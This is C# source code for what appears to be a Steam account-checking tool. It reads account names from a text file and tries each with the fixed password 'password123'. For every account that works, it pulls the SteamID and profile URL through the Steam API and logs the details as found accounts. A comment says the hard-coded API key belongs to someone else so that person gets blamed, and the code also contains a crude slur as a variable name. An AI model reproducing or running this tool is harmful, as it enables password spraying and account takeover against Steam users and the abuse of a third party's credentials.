public void Write(Config.Account account) { string logMessage = string.Format("{0}\n{1}\n{2}\n{3}\n", account.username, account.email, account.steamid, account.url); logQueue.Add(logMessage); FlushLog(); }
private bool IsSteamAccGood(string accountname) { var accounts = new Config.Account(); //retrieve the good stuff ;) Config.UserInfo UserInfo = Class1.RetrieveInfo(accountname, "password123"); if (UserInfo.steamid.Length > 5) { using (WebClient webClient = new WebClient()) { try { //lets use rezonans api key so we know whos to blame Config.RootObject rootObject = (JObject.Parse(webClient.DownloadString("https://api.steampowered.com/ISteamUser/GetPlayerBans/v0001/?steamids=" + UserInfo.steamid + "&key=2FD6A7B83C334E2CE65868A38A6F3F6E")).Values().First <JToken>() as JArray).First <JToken>().ToObject <Config.RootObject>(); accounts.email = accountname; string h**o; h**o = GetSteamId(UserInfo.steamid); accounts.steamid = h**o; //ghett9 string geturl = webClient.DownloadString(string.Format("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?steamids=" + UserInfo.steamid + "&key=2FD6A7B83C334E2CE65868A38A6F3F6E&format=xml")); if (geturl.Contains("profileurl")) { string url = GetStringBetween(geturl, "<profileurl>", "</profileurl>"); accounts.url = url; } Console.BackgroundColor = ConsoleColor.Blue; Console.ForegroundColor = ConsoleColor.White; Console.WriteLine("Found account: {0} {1} {2}", accounts.email, accounts.steamid, accounts.url); Console.ResetColor(); Log.Write(accounts); AccountsFound++; } catch { //catch exception } } } return(true); }
private void Work() { var accounts = new Config.Account(); //load our accounts from txt file string loadaccs = File.ReadAllText("accounts.txt"); using (StringReader rdr = new StringReader(loadaccs)) { //read the txt file line by line & check the account string account; while ((account = rdr.ReadLine()) != null) { if (account.Length < 2) { continue; } string[] array = account.Split("\r\n".ToCharArray(), StringSplitOptions.RemoveEmptyEntries); foreach (String j in array) { //gotta sleep otherwise too fast Thread.Sleep(500); Console.WriteLine("Checking account " + account); } string SteamAccountToRead = account; //check if the steam account is valid if (IsSteamAccGood(SteamAccountToRead)) { } } } Console.WriteLine("\n Finished"); Log.FlushLog(true); }